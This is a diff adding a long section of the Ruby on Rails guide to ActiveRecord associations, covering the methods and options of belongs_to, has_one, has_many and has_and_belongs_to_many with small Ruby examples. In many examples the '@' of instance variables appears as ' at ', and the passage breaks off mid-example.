+This will work fine, because both the +Supplier+ and the +Account+ class are defined within the same scope. But this will not work, because +Supplier+ and +Account+ are defined in different scopes:
+
+[source, ruby]
+-------------------------------------------------------
+module MyApplication
+  module Business
+    class Supplier < ActiveRecord::Base
+       has_one :account
+    end
+  end
+
+  module Billing
+    class Account < ActiveRecord::Base
+       belongs_to :supplier
+    end
+  end
+end
+-------------------------------------------------------
+
+To associate a model with a model in a different scope, you must specify the complete class name in your association declaration:
+
+[source, ruby]
+-------------------------------------------------------
+module MyApplication
+  module Business
+    class Supplier < ActiveRecord::Base
+       has_one :account, :class_name => "MyApplication::Billing::Account"
+    end
+  end
+
+  module Billing
+    class Account < ActiveRecord::Base
+       belongs_to :supplier, :class_name => "MyApplication::Business::Supplier"
+    end
+  end
+end
+-------------------------------------------------------
+
+== Detailed Association Reference
+
+The following sections give the details of each type of association, including the methods that they add and the options that you can use when declaring an association.
+
+=== The +belongs_to+ Association
+
+The +belongs_to+ association creates a one-to-one match with another model. In database terms, this association says that this class contains the foreign key. If the other class contains the foreign key, then you should use +has_one+ instead.
+
+==== Methods Added by +belongs_to+
+
+When you declare a +belongs_to+ assocation, the declaring class automatically gains five methods related to the association:
+
+* +_association_(force_reload = false)+
+* +_association_=(associate)+
+* +_association_.nil?+
+* +build___association__(attributes = {})+
+* +create___association__(attributes = {})+
+
+In all of these methods, +_association_+ is replaced with the symbol passed as the first argument to +belongs_to+. For example, given the declaration:
+
+[source, ruby]
+-------------------------------------------------------
+class Order < ActiveRecord::Base
+  belongs_to :customer
+end
+-------------------------------------------------------
+
+Each instance of the order model will have these methods:
+
+[source, ruby]
+-------------------------------------------------------
+customer
+customer=
+customer.nil?
+build_customer
+create_customer
+-------------------------------------------------------
+
+===== +_association_(force_reload = false)+
+
+The +_association_+ method returns the associated object, if any. If no associated object is found, it returns +nil+.
+
+[source, ruby]
+-------------------------------------------------------
+ at customer = @order.customer
+-------------------------------------------------------
+
+If the associated object has already been retrieved from the database for this object, the cached version will be returned. To override this behavior (and force a database read), pass +true+ as the +force_reload+ argument.
+
+===== +_association_=(associate)+
+
+The +_association_=+ method assigns an associated object to this object. Behind the scenes, this means extracting the primary key from the associate object and setting this object's foreign key to the same value.
+
+[source, ruby]
+-------------------------------------------------------
+ at order.customer = @customer
+-------------------------------------------------------
+
+===== +_association_.nil?+
+
+The +_association_.nil?+ method returns +true+ if there is no associated object.
+
+[source, ruby]
+-------------------------------------------------------
+if @order.customer.nil?
+  @msg = "No customer found for this order"
+end
+-------------------------------------------------------
+
+===== +build___association__(attributes = {})+
+
+The +build__\_association__+ method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through this object's foreign key will be set, but the associated object will _not_ yet be saved.
+
+[source, ruby]
+-------------------------------------------------------
+ at customer = @order.build_customer({:customer_number => 123, :customer_name => "John Doe"})
+-------------------------------------------------------
+
+===== +create___association__(attributes = {})+
+
+The +create__\_association__+ method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through this object's foreign key will be set. In addition, the associated object _will_ be saved (assuming that it passes any validations).
+
+[source, ruby]
+-------------------------------------------------------
+ at customer = @order.create_customer({:customer_number => 123, :customer_name => "John Doe"})
+-------------------------------------------------------
+
+==== Options for +belongs_to+
+
+In many situations, you can use the default behavior of +belongs_to+ without any customization. But despite Rails' emphasis of convention over customization, you can alter that behavior in a number of ways. This section covers the options that you can pass when you create a +belongs_to+ association. For example, an association with several options might look like this:
+
+[source, ruby]
+-------------------------------------------------------
+class Order < ActiveRecord::Base
+  belongs_to :customer, :counter_cache => true, :conditions => "active = 1"
+end
+-------------------------------------------------------
+
+The +belongs_to+ association supports these options:
+
+// * +:accessible+
+* +:class_name+
+* +:conditions+
+* +:counter_cache+
+* +:dependent+
+* +:foreign_key+
+* +:include+
+* +:polymorphic+
+* +:readonly+
+* +:select+
+* +:validate+
+
+// ===== +:accessible+
+//
+// The +:accessible+ option is the association version of +ActiveRecord::Base#attr_accessible+. If you set the +:accessible+ option to true, then mass // assignment is allowed for this association.
+//
+===== +:class_name+
+
+If the name of the other model cannot be derived from the association name, you can use the +:class_name+ option to supply the model name. For example, if an order belongs to a customer, but the actual name of the model containing customers is +Patron+, you'd set things up this way:
+
+[source, ruby]
+-------------------------------------------------------
+class Order < ActiveRecord::Base
+  belongs_to :customer, :class_name => "Patron"
+end
+-------------------------------------------------------
+
+===== +:conditions+
+
+The +:conditions+ option lets you specify the conditions that the associated object must meet (in the syntax used by a SQL +WHERE+ clause).
+
+[source, ruby]
+-------------------------------------------------------
+class Order < ActiveRecord::Base
+  belongs_to :customer, :conditions => "active = 1"
+end
+-------------------------------------------------------
+
+===== +:counter_cache+
+
+The +:counter_cache+ option can be used to make finding the number of belonging objects more efficient. Consider these models:
+
+[source, ruby]
+-------------------------------------------------------
+class Order < ActiveRecord::Base
+  belongs_to :customer
+end
+class Customer < ActiveRecord::Base
+  has_many :orders
+end
+-------------------------------------------------------
+
+With these declarations, asking for the value of + at customer.orders.size+ requires making a call to the database to perform a +COUNT(*)+ query. To avoid this call, you can add a counter cache to the _belonging_ model:
+
+[source, ruby]
+-------------------------------------------------------
+class Order < ActiveRecord::Base
+  belongs_to :customer, :counter_cache => true
+end
+class Customer < ActiveRecord::Base
+  has_many :orders
+end
+-------------------------------------------------------
+
+With this declaration, Rails will keep the cache value up to date, and then return that value in response to the +.size+ method. 
+
+Although the +:counter_cache+ option is specified on the model that includes the +belongs_to+ declaration, the actual column must be added to the _associated_ model. In the case above, you would need to add a column named +orders_count+ to the +Customer+ model. You can override the default column name if you need to:
+
+[source, ruby]
+-------------------------------------------------------
+class Order < ActiveRecord::Base
+  belongs_to :customer, :counter_cache => :count_of_orders
+end
+class Customer < ActiveRecord::Base
+  has_many :orders
+end
+-------------------------------------------------------
+
+Counter cache columns are added to the containing model's list of read-only attributes through +attr_readonly+.
+
+===== +:dependent+
+
+If you set the +:dependent+ option to +:destroy+, then deleting this object will call the destroy method on the associated object to delete that object. If you set the +:dependent+ option to +:delete+, then deleting this object will delete the associated object _without_ calling its +destroy+ method.
+
+WARNING: You should not specify this option on a +belongs_to+ association that is connected with a +has_many+ association on the other class. Doing so can lead to orphaned records in your database.
+
+===== +:foreign_key+
+
+By convention, Rails guesses that the column used to hold the foreign key on this model is the name of the association with the suffix +_id+ added. The +:foreign_key+ option lets you set the name of the foreign key directly:
+
+[source, ruby]
+-------------------------------------------------------
+class Order < ActiveRecord::Base
+  belongs_to :customer, :class_name => "Patron", :foreign_key => "patron_id"
+end
+-------------------------------------------------------
+
+TIP: In any case, Rails will not create foreign key columns for you. You need to explicitly define them as part of your migrations.
+
+===== +:include+
+
+You can use the :include option to specify second-order associations that should be eager-loaded when this association is used. For example, consider these models:
+
+[source, ruby]
+-------------------------------------------------------
+class LineItem < ActiveRecord::Base
+  belongs_to :order
+end
+class Order < ActiveRecord::Base
+  belongs_to :customer
+  has_many :line_items
+end
+class Customer < ActiveRecord::Base
+  has_many :orders
+end
+-------------------------------------------------------
+
+If you frequently retrieve customers directly from line items (+ at line_item.order.customer+), then you can make your code somewhat more efficient by including customers in the association from line items to orders:
+
+[source, ruby]
+-------------------------------------------------------
+class LineItem < ActiveRecord::Base
+  belongs_to :order, :include => :customer
+end
+class Order < ActiveRecord::Base
+  belongs_to :customer
+  has_many :line_items
+end
+class Customer < ActiveRecord::Base
+  has_many :orders
+end
+-------------------------------------------------------
+
+NOTE: There's no need to use +:include+ for immediate associations - that is, if you have +Order belongs_to :customer+, then the customer is eager-loaded automatically when it's needed.
+
+===== +:polymorphic+
+
+Passing +true+ to the +:polymorphic+ option indicates that this is a polymorphic association. Polymorphic associations were discussed in detail earlier in this guide.
+
+===== +:readonly+
+
+If you set the +:readonly+ option to +true+, then the associated object will be read-only when retrieved via the association.
+
+===== +:select+
+
+The +:select+ option lets you override the SQL +SELECT+ clause that is used to retrieve data about the associated object. By default, Rails retrieves all columns.
+
+TIP: If you set the +:select+ option on a +belongs_to+ association, you should also set the +foreign_key+ option to guarantee the correct results.
+
+===== +:validate+
+
+If you set the +:validate+ option to +true+, then associated objects will be validated whenever you save this object. By default, this is +false+: associated objects will not be validated when this object is saved.
+
+==== When are Objects Saved?
+
+Assigning an object to a +belongs_to+ association does _not_ automatically save the object. It does not save the associated object either.
+
+=== The has_one Association
+
+The +has_one+ association creates a one-to-one match with another model. In database terms, this association says that the other class contains the foreign key. If this class contains the foreign key, then you should use +belongs_to+ instead.
+
+==== Methods Added by +has_one+
+
+When you declare a +has_one+ association, the declaring class automatically gains five methods related to the association:
+
+* +_association_(force_reload = false)+
+* +_association_=(associate)+
+* +_association_.nil?+
+* +build___association__(attributes = {})+
+* +create___association__(attributes = {})+
+
+In all of these methods, +_association_+ is replaced with the symbol passed as the first argument to +has_one+. For example, given the declaration:
+
+[source, ruby]
+-------------------------------------------------------
+class Supplier < ActiveRecord::Base
+  has_one :account
+end
+-------------------------------------------------------
+
+Each instance of the +Supplier+ model will have these methods:
+
+[source, ruby]
+-------------------------------------------------------
+account
+account=
+account.nil?
+build_account
+create_account
+-------------------------------------------------------
+
+===== +_association_(force_reload = false)+
+
+The +_association_+ method returns the associated object, if any. If no associated object is found, it returns +nil+.
+
+[source, ruby]
+-------------------------------------------------------
+ at account = @supplier.account
+-------------------------------------------------------
+
+If the associated object has already been retrieved from the database for this object, the cached version will be returned. To override this behavior (and force a database read), pass +true+ as the +force_reload+ argument.
+
+===== +_association_=(associate)+
+
+The +_association_=+ method assigns an associated object to this object. Behind the scenes, this means extracting the primary key from this object and setting the associate object's foreign key to the same value.
+
+[source, ruby]
+-------------------------------------------------------
+ at suppler.account = @account
+-------------------------------------------------------
+
+===== +_association_.nil?+
+
+The +_association_.nil?+ method returns +true+ if there is no associated object.
+
+[source, ruby]
+-------------------------------------------------------
+if @supplier.account.nil?
+  @msg = "No account found for this supplier"
+end
+-------------------------------------------------------
+
+===== +build___association__(attributes = {})+
+
+The +build__\_association__+ method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through its foreign key will be set, but the associated object will _not_ yet be saved.
+
+[source, ruby]
+-------------------------------------------------------
+ at account = @supplier.build_account({:terms => "Net 30"})
+-------------------------------------------------------
+
+===== +create___association__(attributes = {})+
+
+The +create__\_association__+ method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through its foreign key will be set. In addition, the associated object _will_ be saved (assuming that it passes any validations).
+
+[source, ruby]
+-------------------------------------------------------
+ at account = @supplier.create_account({:terms => "Net 30"})
+-------------------------------------------------------
+
+==== Options for +has_one+
+
+In many situations, you can use the default behavior of +has_one+ without any customization. But despite Rails' emphasis of convention over customization, you can alter that behavior in a number of ways. This section covers the options that you can pass when you create a +has_one+ association. For example, an association with several options might look like this:
+
+[source, ruby]
+-------------------------------------------------------
+class Supplier < ActiveRecord::Base
+  has_one :account, :class_name => "Billing", :dependent => :nullify
+end
+-------------------------------------------------------
+
+The +has_one+ association supports these options:
+
+// * +:accessible+
+* +:as+
+* +:class_name+
+* +:conditions+
+* +:dependent+
+* +:foreign_key+
+* +:include+
+* +:order+
+* +:primary_key+
+* +:readonly+
+* +:select+
+* +:source+
+* +:source_type+
+* +:through+
+* +:validate+
+
+// ===== +:accessible+
+//
+// The +:accessible+ option is the association version of +ActiveRecord::Base#attr_accessible+. If you set the +:accessible+ option to true, then mass // assignment is allowed for this association.
+//
+===== +:as+
+
+Setting the +:as+ option indicates that this is a polymorphic association. Polymorphic associations are discussed in detail later in this guide.
+
+===== +:class_name+
+
+If the name of the other model cannot be derived from the association name, you can use the +:class_name+ option to supply the model name. For example, if a supplier has an account, but the actual name of the model containing accounts is Billing, you'd set things up this way:
+
+[source, ruby]
+-------------------------------------------------------
+class Supplier < ActiveRecord::Base
+  has_one :account, :class_name => "Billing"
+end
+-------------------------------------------------------
+
+===== +:conditions+
+
+The +:conditions+ option lets you specify the conditions that the associated object must meet (in the syntax used by a SQL +WHERE+ clause).
+
+[source, ruby]
+-------------------------------------------------------
+class Supplier < ActiveRecord::Base
+  has_one :account, :conditions => "confirmed = 1"
+end
+-------------------------------------------------------
+
+===== +:dependent+
+
+If you set the +:dependent+ option to +:destroy+, then deleting this object will call the destroy method on the associated object to delete that object. If you set the +:dependent+ option to +:delete+, then deleting this object will delete the associated object _without_ calling its +destroy+ method. If you set the +:dependent+ option to +:nullify+, then deleting this object will set the foreign key in the association object to +NULL+.
+
+===== +:foreign_key+
+
+By convention, Rails guesses that the column used to hold the foreign key on the other model is the name of this model with the suffix +_id+ added. The +:foreign_key+ option lets you set the name of the foreign key directly:
+
+[source, ruby]
+-------------------------------------------------------
+class Supplier < ActiveRecord::Base
+  has_one :account, :foreign_key => "supp_id"
+end
+-------------------------------------------------------
+
+TIP: In any case, Rails will not create foreign key columns for you. You need to explicitly define them as part of your migrations.
+
+===== +:include+
+
+You can use the :include option to specify second-order associations that should be eager-loaded when this association is used. For example, consider these models:
+
+[source, ruby]
+-------------------------------------------------------
+class Supplier < ActiveRecord::Base
+  has_one :account
+end
+class Account < ActiveRecord::Base
+  belongs_to :supplier
+  belongs_to :representative
+end
+class Representative < ActiveRecord::Base
+  has_many :accounts
+end
+-------------------------------------------------------
+
+If you frequently retrieve representatives directly from suppliers (+ at supplier.account.representative+), then you can make your code somewhat more efficient by including representatives in the association from suppliers to accounts:
+
+[source, ruby]
+-------------------------------------------------------
+class Supplier < ActiveRecord::Base
+  has_one :account, :include => :representative
+end
+class Account < ActiveRecord::Base
+  belongs_to :supplier
+  belongs_to :representative
+end
+class Representative < ActiveRecord::Base
+  has_many :accounts
+end
+-------------------------------------------------------
+
+===== +:order+
+
+The +:order+ option dictates the order in which associated objects will be received (in the syntax used by a SQL +ORDER BY+ clause). Because a +has_one+ association will only retrieve a single associated object, this option should not be needed.
+
+===== +:primary_key+
+
+By convention, Rails guesses that the column used to hold the primary key of this model is +id+. You can override this and explicitly specify the primary key with the +:primary_key+ option.
+
+===== +:readonly+
+
+If you set the +:readonly+ option to +true+, then the associated object will be read-only when retrieved via the association.
+
+===== +:select+
+
+The +:select+ option lets you override the SQL +SELECT+ clause that is used to retrieve data about the associated object. By default, Rails retrieves all columns.
+
+===== +:source+
+
+The +:source+ option specifies the source association name for a +has_one :through+ association.
+
+===== +:source_type+
+
+The +:source_type+ option specifies the source association type for a +has_one :through+ association that proceeds through a polymorphic association.
+
+===== +:through+
+
+The +:through+ option specifies a join model through which to perform the query. +has_one :through+ associations are discussed in detail later in this guide.
+
+===== +:validate+
+
+If you set the +:validate+ option to +true+, then associated objects will be validated whenever you save this object. By default, this is +false+: associated objects will not be validated when this object is saved.
+
+==== When are Objects Saved?
+
+When you assign an object to a +has_one+ association, that object is automatically saved (in order to update its foreign key). In addition, any object being replaced is also automatically saved, because its foreign key will change too.
+
+If either of these saves fails due to validation errors, then the assignment statement returns +false+ and the assignment itself is cancelled.
+
+If the parent object (the one declaring the +has_one+ association) is unsaved (that is, +new_record?+ returns +true+) then the child objects are not saved.
+
+If you want to assign an object to a +has_one+ association without saving the object, use the +association.build+ method.
+
+=== The has_many Association
+
+The +has_many+ association creates a one-to-many relationship with another model. In database terms, this association says that the other class will have a foreign key that refers to instances of this class.
+
+==== Methods Added
+
+When you declare a +has_many+ association, the declaring class automatically gains 13 methods related to the association:
+
+* +_collection_(force_reload = false)+
+* +_collection_<<(object, ...)+
+* +_collection_.delete(object, ...)+
+* +_collection_=objects+
+* +_collection\_singular_\_ids+
+* +_collection\_singular_\_ids=ids+
+* +_collection_.clear+
+* +_collection_.empty?+
+* +_collection_.size+
+* +_collection_.find(...)+
+* +_collection_.exist?(...)+
+* +_collection_.build(attributes = {}, ...)+
+* +_collection_.create(attributes = {})+
+
+In all of these methods, +_collection_+ is replaced with the symbol passed as the first argument to +has_many+, and +_collection\_singular_+ is replaced with the singularized version of that symbol.. For example, given the declaration:
+
+[source, ruby]
+-------------------------------------------------------
+class Customer < ActiveRecord::Base
+  has_many :orders
+end
+-------------------------------------------------------
+
+Each instance of the customer model will have these methods:
+
+[source, ruby]
+-------------------------------------------------------
+orders(force_reload = false)
+orders<<(object, ...)
+orders.delete(object, ...)
+orders=objects
+order_ids
+order_ids=ids
+orders.clear
+orders.empty?
+orders.size
+orders.find(...)
+orders.exist?(...)
+orders.build(attributes = {}, ...)
+orders.create(attributes = {})
+-------------------------------------------------------
+
+===== +_collection_(force_reload = false)+
+
+The +_collection_+ method returns an array of all of the associated objects. If there are no associated objects, it returns an empty array.
+
+[source, ruby]
+-------------------------------------------------------
+ at orders = @customer.orders
+-------------------------------------------------------
+
+===== +_collection_<<(object, ...)+
+
+The +_collection_<<+ method adds one or more objects to the collection by setting their foreign keys to the primary key of the calling model.
+
+[source, ruby]
+-------------------------------------------------------
+ at customer.orders << @order1
+-------------------------------------------------------
+
+===== +_collection_.delete(object, ...)+
+
+The +_collection_.delete+ method removes one or more objects from the collection by setting their foreign keys to +NULL+.
+
+[source, ruby]
+-------------------------------------------------------
+ at customer.orders.delete(@order1)
+-------------------------------------------------------
+
+WARNING: Objects will be in addition destroyed if they're associated with +:dependent => :destroy+, and deleted if they're associated with +:dependent => :delete_all+.
+
+
+===== +_collection_=objects+
+
+The +_collection_=+ method makes the collection contain only the supplied objects, by adding and deleting as appropriate.
+
+===== +_collection\_singular_\_ids+
+
+The +_collection\_singular_\_ids+ method returns an array of the ids of the objects in the collection.
+
+[source, ruby]
+-------------------------------------------------------
+ at order_ids = @customer.order_ids
+-------------------------------------------------------
+
+===== +__collection\_singular_\_ids=ids+
+
+The +__collection\_singular_\_ids=+ method makes the collection contain only the objects identified by the supplied primary key values, by adding and deleting as appropriate.
+
+===== +_collection_.clear+
+
+The +_collection_.clear+ method removes every object from the collection. This destroys the associated objects if they are associated with +:dependent => :destroy+, deletes them directly from the database if +:dependent => :delete_all+, and otherwise sets their foreign keys to +NULL+.
+
+===== +_collection_.empty?+
+
+The +_collection_.empty?+ method returns +true+ if the collection does not contain any associated objects.
+
+[source, ruby]
+-------------------------------------------------------
+<% if @customer.orders.empty? %>
+  No Orders Found
+<% end %>
+-------------------------------------------------------
+
+===== +_collection_.size+
+
+The +_collection_.size+ method returns the number of objects in the collection.
+
+[source, ruby]
+-------------------------------------------------------
+ at order_count = @customer.orders.size
+-------------------------------------------------------
+
+===== +_collection_.find(...)+
+
+The +_collection_.find+ method finds objects within the collection. It uses the same syntax and options as +ActiveRecord::Base.find+.
+
+[source, ruby]
+-------------------------------------------------------
+ at open_orders = @customer.orders.find(:all, :conditions => "open = 1")
+-------------------------------------------------------
+
+===== +_collection_.exist?(...)+
+
+The +_collection_.exist?+ method checks whether an object meeting the supplied conditions exists in the collection. It uses the same syntax and options as +ActiveRecord::Base.exists?+.
+
+===== +_collection_.build(attributes = {}, ...)+
+
+The +_collection_.build+ method returns one or more new objects of the associated type. These objects will be instantiated from the passed attributes, and the link through their foreign key will be created, but the associated objects will _not_ yet be saved.
+
+[source, ruby]
+-------------------------------------------------------
+ at order = @customer.orders.build({:order_date => Time.now, :order_number => "A12345"})
+-------------------------------------------------------
+
+===== +_collection_.create(attributes = {})+
+
+The +_collection_.create+ method returns a new object of the associated type. This object will be instantiated from the passed attributes, the link through its foreign key will be created, and the associated object _will_ be saved (assuming that it passes any validations).
+
+[source, ruby]
+-------------------------------------------------------
+ at order = @customer.orders.create({:order_date => Time.now, :order_number => "A12345"})
+-------------------------------------------------------
+
+==== Options for has_many
+
+In many situations, you can use the default behavior for +has_many+ without any customization. But you can alter that behavior in a number of ways. This section covers the options that you can pass when you create a +has_many+ association. For example, an association with several options might look like this:
+
+[source, ruby]
+-------------------------------------------------------
+class Customer < ActiveRecord::Base
+  has_many :orders, :dependent => :delete_all, :validate => :false
+end
+-------------------------------------------------------
+
+The +has_many+ association supports these options:
+
+// * +:accessible+
+* +:as+
+* +:class_name+
+* +:conditions+
+* +:counter_sql+
+* +:dependent+
+* +:extend+
+* +:finder_sql+
+* +:foreign_key+
+* +:group+
+* +:include+
+* +:limit+
+* +:offset+
+* +:order+
+* +:primary_key+
+* +:readonly+
+* +:select+
+* +:source+
+* +:source_type+
+* +:through+
+* +:uniq+
+* +:validate+
+
+// ===== +:accessible+
+//
+// The +:accessible+ option is the association version of +ActiveRecord::Base#attr_accessible+. If you set the +:accessible+ option to true, then mass // assignment is allowed for this association.
+//
+===== +:as+
+
+Setting the +:as+ option indicates that this is a polymorphic association, as discussed earlier in this guide.
+
+===== +:class_name+
+
+If the name of the other model cannot be derived from the association name, you can use the +:class_name+ option to supply the model name. For example, if a customer has many orders, but the actual name of the model containing orders is +Transaction+, you'd set things up this way:
+
+[source, ruby]
+-------------------------------------------------------
+class Customer < ActiveRecord::Base
+  has_many :orders, :class_name => "Transaction"
+end
+-------------------------------------------------------
+
+===== +:conditions+
+
+The +:conditions+ option lets you specify the conditions that the associated object must meet (in the syntax used by a SQL +WHERE+ clause).
+
+[source, ruby]
+-------------------------------------------------------
+class Customer < ActiveRecord::Base
+  has_many :confirmed_orders, :class_name => "Order", :conditions => "confirmed = 1"
+end
+-------------------------------------------------------
+
+You can also set conditions via a hash:
+
+[source, ruby]
+-------------------------------------------------------
+class Customer < ActiveRecord::Base
+  has_many :confirmed_orders, :class_name => "Order", :conditions => { :confirmed => true }
+end
+-------------------------------------------------------
+
+If you use a hash-style +:conditions+ option, then record creation via this association will be automatically scoped using the hash. In this case, using + at customer.confirmed_orders.create+ or + at customer.confirmed_orders.build+ will create orders where the confirmed column has the value +true+.
+
+===== +:counter_sql+
+
+Normally Rails automatically generates the proper SQL to count the association members. With the +:counter_sql+ option, you can specify a complete SQL statement to count them yourself. 
+
+NOTE: If you specify +:finder_sql+ but not +:counter_sql+, then the counter SQL will be generated by substituting +SELECT COUNT(*) FROM+ for the +SELECT ... FROM+ clause of your +:finder_sql+ statement.
+
+===== +:dependent+
+
+If you set the +:dependent+ option to +:destroy+, then deleting this object will call the destroy method on the associated objects to delete those objects. If you set the +:dependent+ option to +:delete_all+, then deleting this object will delete the associated objects _without_ calling their +destroy+ method. If you set the +:dependent+ option to +:nullify+, then deleting this object will set the foreign key in the associated objects to +NULL+.
+
+NOTE: This option is ignored when you use the +:through+ option on the association.
+
+===== +:extend+
+
+The +:extend+ option specifies a named module to extend the association proxy. Association extensions are discussed in detail later in this guide.
+
+===== +:finder_sql+
+
+Normally Rails automatically generates the proper SQL to fetch the association members. With the +:finder_sql+ option, you can specify a complete SQL statement to fetch them yourself. If fetching objects requires complex multi-table SQL, this may be necessary.
+
+===== +:foreign_key+
+
+By convention, Rails guesses that the column used to hold the foreign key on the other model is the name of this model with the suffix +_id+ added. The +:foreign_key+ option lets you set the name of the foreign key directly:
+
+[source, ruby]
+-------------------------------------------------------
+class Customer < ActiveRecord::Base
+  has_many :orders, :foreign_key => "cust_id"
+end
+-------------------------------------------------------
+
+TIP: In any case, Rails will not create foreign key columns for you. You need to explicitly define them as part of your migrations.
+
+===== +:group+
+
+The +:group+ option supplies an attribute name to group the result set by, using a +GROUP BY+ clause in the finder SQL.
+
+[source, ruby]
+-------------------------------------------------------
+class Customer < ActiveRecord::Base
+  has_many :line_items, :through => :orders, :group => "orders.id"
+end
+-------------------------------------------------------
+
+===== +:include+
+
+You can use the :include option to specify second-order associations that should be eager-loaded when this association is used. For example, consider these models:
+
+[source, ruby]
+-------------------------------------------------------
+class Customer < ActiveRecord::Base
+  has_many :orders
+end
+class Order < ActiveRecord::Base
+  belongs_to :customer
+  has_many :line_items
+end
+class LineItem < ActiveRecord::Base
+  belongs_to :order
+end
+-------------------------------------------------------
+
+If you frequently retrieve line items directly from customers (+ at customer.orders.line_items+), then you can make your code somewhat more efficient by including line items in the association from customers to orders:
+
+[source, ruby]
+-------------------------------------------------------
+class Customer < ActiveRecord::Base
+  has_many :orders, :include => :line_items
+end
+class Order < ActiveRecord::Base
+  belongs_to :customer
+  has_many :line_items
+end
+class LineItem < ActiveRecord::Base
+  belongs_to :order
+end
+-------------------------------------------------------
+
+===== +:limit+
+
+The +:limit+ option lets you restrict the total number of objects that will be fetched through an association.
+
+[source, ruby]
+-------------------------------------------------------
+class Customer < ActiveRecord::Base
+  has_many :recent_orders, :class_name => "Order", :order => "order_date DESC", :limit => 100
+end
+-------------------------------------------------------
+
+===== +:offset+
+
+The +:offset+ option lets you specify the starting offset for fetching objects via an association. For example, if you set +:offset => 11+, it will skip the first 10 records.
+
+===== +:order+
+
+The +:order+ option dictates the order in which associated objects will be received (in the syntax used by a SQL +ORDER BY+ clause).
+
+[source, ruby]
+-------------------------------------------------------
+class Customer < ActiveRecord::Base
+  has_many :orders, :order => "date_confirmed DESC"
+end
+-------------------------------------------------------
+
+===== +:primary_key+
+
+By convention, Rails guesses that the column used to hold the primary key of this model is +id+. You can override this and explicitly specify the primary key with the +:primary_key+ option.
+
+===== +:readonly+
+
+If you set the +:readonly+ option to +true+, then the associated objects will be read-only when retrieved via the association.
+
+===== +:select+
+
+The +:select+ option lets you override the SQL +SELECT+ clause that is used to retrieve data about the associated objects. By default, Rails retrieves all columns.
+
+WARNING: If you specify your own +:select+, be sure to include the primary key and foreign key columns of the associated model. If you do not, Rails will throw an error.
+
+===== +:source+
+
+The +:source+ option specifies the source association name for a +has_many :through+ association. You only need to use this option if the name of the source association cannot be automatically inferred from the association name.
+
+===== +:source_type+
+
+The +:source_type+ option specifies the source association type for a +has_many :through+ association that proceeds through a polymorphic association.
+
+===== +:through+
+
+The +:through+ option specifies a join model through which to perform the query. +has_many :through+ associations provide a way to implement many-to-many relationships, as discussed earlier in this guide.
+
+===== +:uniq+
+
+Specify the +:uniq => true+ option to remove duplicates from the collection. This is most useful in conjunction with the +:through+ option.
+
+===== +:validate+
+
+If you set the +:validate+ option to +false+, then associated objects will not be validated whenever you save this object. By default, this is +true+: associated objects will be validated when this object is saved.
+
+==== When are Objects Saved?
+
+When you assign an object to a +has_many+ association, that object is automatically saved (in order to update its foreign key). If you assign multiple objects in one statement, then they are all saved.
+
+If any of these saves fails due to validation errors, then the assignment statement returns +false+ and the assignment itself is cancelled.
+
+If the parent object (the one declaring the +has_many+ association) is unsaved (that is, +new_record?+ returns +true+) then the child objects are not saved when they are added. All unsaved members of the association will automatically be saved when the parent is saved.
+
+If you want to assign an object to a +has_many+ association without saving the object, use the +_collection_.build+ method.
+
+=== The +has_and_belongs_to_many+ Association
+
+The +has_and_belongs_to_many+ association creates a many-to-many relationship with another model. In database terms, this associates two classes via an intermediate join table that includes foreign keys referring to each of the classes.
+
+==== Methods Added
+
+When you declare a +has_and_belongs_to_many+ association, the declaring class automatically gains 13 methods related to the association:
+
+* +_collection_(force_reload = false)+
+* +_collection_<<(object, ...)+
+* +_collection_.delete(object, ...)+
+* +_collection_=objects+
+* +_collection\_singular_\_ids+
+* +_collection\_singular_\_ids=ids+
+* +_collection_.clear+
+* +_collection_.empty?+
+* +_collection_.size+
+* +_collection_.find(...)+
+* +_collection_.exist?(...)+
+* +_collection_.build(attributes = {})+
+* +_collection_.create(attributes = {})+
+
+In all of these methods, +_collection_+ is replaced with the symbol passed as the first argument to +has_many+, and +_collection_\_singular+ is replaced with the singularized version of that symbol.. For example, given the declaration:
+
+[source, ruby]
+-------------------------------------------------------
+class Part < ActiveRecord::Base
+  has_and_belongs_to_many :assemblies
+end
+-------------------------------------------------------
+
+Each instance of the part model will have these methods:
+
+[source, ruby]
+-------------------------------------------------------
+assemblies(force_reload = false)
+assemblies<<(object, ...)
+assemblies.delete(object, ...)
+assemblies=objects
+assembly_ids
+assembly_ids=ids
+assemblies.clear
+assemblies.empty?
+assemblies.size
+assemblies.find(...)
+assemblies.exist?(...)
+assemblies.build(attributes = {}, ...)
+assemblies.create(attributes = {})
+-------------------------------------------------------
+
+===== Additional Column Methods
+
+If the join table for a +has_and_belongs_to_many+ association has additional columns beyond the two foreign keys, these columns will be added as attributes to records retrieved via that association. Records returned with additional attributes will always be read-only, because Rails cannot save changes to those attributes.
+
+WARNING: The use of extra attributes on the join table in a +has_and_belongs_to_many+ association is deprecated. If you require this sort of complex behavior on the table that joins two models in a many-to-many relationship, you should use a +has_many :through+ association instead of +has_and_belongs_to_many+.
+
+
+===== +_collection_(force_reload = false)+
+
+The +_collection_+ method returns an array of all of the associated objects. If there are no associated objects, it returns an empty array.
+
+[source, ruby]
+-------------------------------------------------------
+ at assemblies = @part.assemblies
+-------------------------------------------------------
+
+===== +_collection_<<(object, ...)+
+
+The +_collection_<<+ method adds one or more objects to the collection by creating records in the join table.
+
+[source, ruby]
+-------------------------------------------------------
+ at part.assemblies << @assembly1
+-------------------------------------------------------
+
+NOTE: This method is aliased as +_collection_.concat+ and +_collection_.push+.
+
+===== +_collection_.delete(object, ...)+
+
+The +_collection_.delete+ method removes one or more objects from the collection by deleting records in the join table. This does not destroy the objects.
+
+[source, ruby]
+-------------------------------------------------------
+ at part.assemblies.delete(@assembly1)
+-------------------------------------------------------
+
+===== +_collection_=objects+
+
+The +_collection_=+ method makes the collection contain only the supplied objects, by adding and deleting as appropriate.
+
+===== +_collection\_singular_\_ids+
+
+#   Returns an array of the associated objects' ids
+
+The +_collection\_singular_\_ids+ method returns an array of the ids of the objects in the collection.
+
+[source, ruby]
+-------------------------------------------------------
+ at assembly_ids = @part.assembly_ids
+-------------------------------------------------------
+
+===== +_collection\_singular_\_ids=ids+
+
+The +_collection\_singular_\_ids=+ method makes the collection contain only the objects identified by the supplied primary key values, by adding and deleting as appropriate.
+
+===== +_collection_.clear+
+
+The +_collection_.clear+ method removes every object from the collection by deleting the rows from the joining tableassociation. This does not destroy the associated objects.
+
+===== +_collection_.empty?+
+
+The +_collection_.empty?+ method returns +true+ if the collection does not contain any associated objects.
+
+[source, ruby]
+-------------------------------------------------------
+<% if @part.assemblies.empty? %>
